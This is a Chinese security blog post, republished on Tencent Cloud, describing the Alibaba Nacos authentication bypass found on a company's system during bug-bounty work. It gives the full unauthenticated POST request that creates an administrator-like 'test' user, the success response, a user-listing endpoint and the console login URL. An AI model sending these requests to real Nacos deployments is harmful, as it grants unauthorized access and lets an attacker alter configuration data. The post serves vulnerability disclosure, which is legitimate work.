前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >某企业SRC的Alibaba Nacos 认证绕过漏洞实战

某企业SRC的Alibaba Nacos 认证绕过漏洞实战

作者头像
F12sec
发布2022-09-29 19:40:12
1.1K0
发布2022-09-29 19:40:12
举报
文章被收录于专栏:F12sec

又到了我的日常水文时间,正好最近学了个新洞,遂记录一下。

0x00漏洞背景

nacos的认证绕过安全漏洞,在nacos开启了鉴权后,依然能绕过鉴权访问任何http接口。

调用任何接口,通过该漏洞,我们可以绕过鉴权,做到:

调用添加用户接口,添加新用户,然后使用新添加的用户登录console,访问、修改、添加数据。

0x01漏洞详情

下面这个文章原理以及代码讲的很清楚,想要深入了解的同学可以看一看。

https://javazhiyin.blog.csdn.net/article/details/112791481 阿里 Nacos 惊爆,安全漏洞以绕过身份验证(附修复建议)

0x02漏洞影响范围

  • Nacos <= 2.0.0-ALPHA.1
  • Nacos < 1.4.1

0x03漏洞实战复现(某企业SRC)

前天心血来潮在整理某SRC资产的时候,突然发现这样一个熟悉的登陆系统

看到这个系统,突然想起了上次爆出的

Alibaba Nacos权限认证绕过漏洞

于是抱着试试的想法,根据漏洞文章复现了一下,

首先,对以下接口进行post请求,即可绕过权限认证,创建一个以test为用户名,test为密码的用户

代码语言:javascript
复制
/nacos/v1/auth/users?username=test&password=test
代码语言:javascript
复制
POST /nacos/v1/auth/users?username=test&password=test HTTP/1.1
Host: xxxxxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflateConnection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

返回包为

代码语言:javascript
复制
{
    "code":200,
    "message":"create user ok!",
    "data":null
}

即成功创建了用户

在利用以下接口,即可查看该系统全部用户

代码语言:javascript
复制
/nacos/v1/auth/users?pageNo=1&pageSize=999

访问

代码语言:javascript
复制
http://xxxxxx.com/nacos/v1/auth/users?pageNo=1&pageSize=999

可以看到返回包中出现了刚刚创建的test用户

接下来访问登录界面登录即可

代码语言:javascript
复制
http://xxxxxx.com/nacos/#/login
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 F12sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Alibaba Nacos权限认证绕过漏洞
相关产品与服务
对象存储
对象存储(Cloud Object Storage,COS)是由腾讯云推出的无目录层次结构、无数据格式限制,可容纳海量数据且支持 HTTP/HTTPS 协议访问的分布式存储服务。腾讯云 COS 的存储桶空间无容量上限,无需分区管理,适用于 CDN 数据分发、数据万象处理或大数据计算与分析的数据湖等多种场景。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档